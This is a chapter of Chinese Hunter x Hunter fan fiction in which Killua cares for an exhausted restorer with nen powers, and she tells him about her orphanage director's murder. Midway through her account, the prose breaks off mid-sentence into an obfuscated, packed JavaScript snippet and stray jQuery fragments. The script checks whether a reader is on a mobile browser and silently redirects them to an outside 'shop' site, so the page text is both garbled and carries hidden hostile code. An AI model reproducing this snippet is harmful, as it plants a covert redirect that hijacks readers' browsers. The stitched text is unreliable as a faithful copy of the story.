8. 第八章

作品:《[猎人]我怕猫

    发现自己穿着衣服睡在床上,房内开着空调,缓和但是干燥。我下床,头发因为静电,发尾都飞起来了。


    我是在筋疲力尽之前自己回房睡了?可我失去意识前,好像是栽到冰棺里了。


    迷惑地抱着衣服去房间浴室洗澡,换好衣服下楼,我拎着脏衣篓去找一楼的洗衣机。路过厨房,看到围着围裙的银发少年在做饭,还有蹲坐仰头的大壮。


    这副温馨和谐的画面让我眼睛瞪大,我看着本该离开的人出现在家里厨房。


    “醒了,感觉怎么样?”


    “奇犽?”


    “嗯,你睡了很久,现在起来正好吃晚饭。”


    把衣服丢去洗衣机,我又走到厨房门口,“所以你没走?”


    “你昨晚念能力耗尽累晕过去,大壮跑出去找我,于是就这样了。”


    直到坐上餐桌吃上他做的饭,我才反应过来,是他把我送回房间的,难怪衣服都没脱。


    “谢谢,麻烦你了。”我拿起勺子,喝了一口热汤。


    “毕竟你也是因为修复宝石才耗尽了念。”


    奇犽给大壮的饭盆里放了吃的,这才在我旁边坐下。


    眼前的晚饭是用半成品加热做好的,还有一条巴掌大的煎鱼与烤肠。从福利院离开后,我就是独居,不管生病还是受伤,什么事情都是自己完成。


    有时候发着烧,还要出去遛狗,不然会被拆家。


    这次累晕,饭有人做,狗也有人遛,这大概就是交朋友的美好体会吧。


    “奇犽,真的谢谢。”


    “噫,说一次就行了,多了就肉麻了。”


    “……”有时候他讲话还挺欠揍的。


    吃完以后还是奇犽收拾的,他似乎没打算离开,我本来想去杂物房继续修复干尸,被他劝住了。


    “你明天再修复呗,这么着急,万一又累倒了,更耽误时间。”


    我也是听劝的,转身去晾晒衣服,最后就捧着水杯坐在沙发上休息,大壮过来想和我玩,被奇犽喊去院子扔飞盘。


    透过落地窗,院子的灯亮起,看着少年和狗跑来跑去的身影,我有一种被治愈的感觉。


    如果没有那件凶案,离开福利院后,我大概也会这么幸福?


    夜里七点多,天色完全黑了。


    奇犽和大壮回屋,大壮还在房子里来回跑,奇犽则是在我半米远的位置坐下,嘴里叼着一个水果味的棒棒糖。


    发现我在看他,奇犽从兜里掏出一个棒棒糖丢过来,我拿起膝盖上的糖,葡萄味的。


    剥了糖纸,我把糖塞嘴里,“你的宝石不是要还给长辈吗?”


    “长辈?你说老太婆?”


    “嗯。”


    “早上投了加急快递,我不去送了,打算等你醒过来。”


    他这是担心我的身体吧,我笑着,“哦,怕我出事是吗,我发现你挺细心的,也蛮有责任感。”


    他没想到我会说这么一句,还显得有点不自然。客厅里响起大壮喝水的声音,它大概是不想跑了,喝饱了就在我脚边一躺。


    我揉揉它的大耳朵,听到奇犽问干尸的事情。


    “你怎么还接尸体这种修复?”


    “其实和火红眼差不多吧,也是这几年才能接触到,以前我就修复一些生活中常见的物品。什么被狗咬烂的结婚证、撕烂的学生作业、烧掉的证据什么的。”


    “那又是怎么接触到不太正常的物品的?”


    “修复能力越来越好后,更多人看见了,认识了C姐。她让我修复的就有魔兽、幻兽的物品,各种珠宝、收藏品。”


    “干尸是这个C姐让你修的?”


    “不是,是她介绍的顾客。”


    “哦,C姐也成中介了。”


    “哈哈,是啊。也因为她,我的能力开发得更好,委托的价格也越来越高。”


    “听起来很励志嘛。”


    我点点头,不再揉狗子,放松肩背地往后一靠,“那你呢,怎么当上赏金猎人的?”


    “不想回家,还想多玩玩,就选了这个。”


    “你该不会是哪家的少爷吧。”


    “干嘛这么说。”


    “感觉像,反正和我这种福利院出来的不一样。”


    “那又如何,还不都是一个鼻子一张嘴。”


    “说是这么说,但生长环境不一样,性格什么的也就不同。”


    这个话题引起了奇犽的思考,他好奇地询问,“念能力都和自身成长经历有关,你怎么会开发出这样的能力。”


    “你这不就是等于问我的过去么。”我反应很快地说。


    “不说就算了。”


    此时此刻还是有聊天的冲动的,或许也是我压抑得太久了。


    “你还记得我说我怕猫的事吗。”


    “记得啊。”


    “我小时候其实不怕猫。我所在的福利院院长也收养了几只猫,孩子们和猫的关系都不错。”


    “我十二岁那年,院长被人杀了,那晚我和其他孤儿玩捉迷藏,我躲在院长办公室的阳台。我成了唯一的目击证人,却忘记了对方的长相。”


    “我只记得凶手个子不高,眼睛像猫。院长死了,他房里的猫一直在叫。后半夜警察来了,才发现在阳台怕到干呕的我。”


    “从那以后半年我都没怎么讲话,也开始频繁做噩梦,对猫感到恐惧。院长的死因是心脏被掏,他的尸体是残缺的,我总是想着,如果能修复他的心脏就好了。”


    “入殓师用道具填补院长缺失的心脏,他就那样下葬了。”


    “大概是十三四岁左右,我觉醒了修复的念能力。起因是院长的照片被新入院的小孩弄坏了,我难过了半个月,在触碰照片时,我发现划痕被我抹去。这就是我念能力的开始。”


    奇犽安静地听完整个过程,等我结束后,他才淡淡地说了句,“原来是这样。”


    “所以啊,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976111|193498||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我离开福利院以后开始赚钱攒钱,找侦探查案。”


    “所以你先前想委托我的事情是查找当年的命案凶手。”


    “嗯。”


    “为什么不委托。”


    “当时觉得你有点不可靠,你还说要排队。”


    “……”


    奇犽噎了一下,咬碎棒棒糖,咯吱咯吱地嚼着。


    “不过没事的,我已经委托了高手去查。”


    “念能力者?”


    “嗯,不过不是什么正道上的人。”


    “好用就行了,所以是谁啊?”


    “就知道你想问,是幻影旅团一个叫侠客的。”


    我没什么隐瞒地说了,却看到奇犽露出极为难以形容的表情,可能有点像我第一次看到大壮滚牛粪的神色。


    “你怎么会和幻影旅团搭上线啊!”他激动地指着我的脑门。


    “C姐介绍的,你不是说好用就行了。”


    “……”


    奇犽捂脸,我觉得他和幻影旅团可能有过节,“你认识侠客?”


    “谈不上认识,几年前算有过交手。”


    这时换我露出一脸难以言说的表情了,“你怎么会和幻影旅团交手,那个团里人才济济,黑白都忌惮的。”


    “因为酷拉皮卡啊,对,你别在酷拉皮卡面前提旅团。”


    “为什么?”


    “是幻影旅团灭了窟卢塔族。”


    “……”


    我真的沉默了。


    他们的过去究竟如何纠缠,从这三言两语里也能窥见一二,感觉每个字后面都藏着腥风血雨。


    “和幻影旅团做交易,真让人不放心啊。”奇犽将棒棒糖的棍子丢进垃圾桶,眼神微妙地看着我。


    我也不知道说什么,含着嘴里的糖,低下了头。


    火红眼的修复我一定尽心完成。


    心里这么想着,想减少一丝雇佣侠客的愧疚感,我又听到奇犽开口。


    “我也帮你调查凶手吧。”


    “啊?你没有别的委托了吗?”


    “先前和伊卡鲁戈的是最后一单。我帮你查凶手,追凶,以后我找你修复东西,你让我插队怎么样?”


    不是要打折,而是要插队的资格,听起来也不亏。


    “好,我需要写一个简单的合同。”稍微思考了一会儿,我就同意了。


    “好啊,你写。”


    我拿来一张纸,手写委托,最后是我和奇犽签名摁手印,我再拍一张作为电子档。


    虽然也想不通怎么发展成这样的,但是还不赖。


    我有些不好意思,还是真诚地对他伸出手。


    “奇犽,相逢也是缘分吧,你要是不嫌弃,我俩交个朋友?”


    瞥一眼我的手,他只是随便拍了下我的掌心,显得没那么正式,嘴上还挖苦了一句。


    “中介转正了啊,不怕我了吗?”


    “……你真是计较。”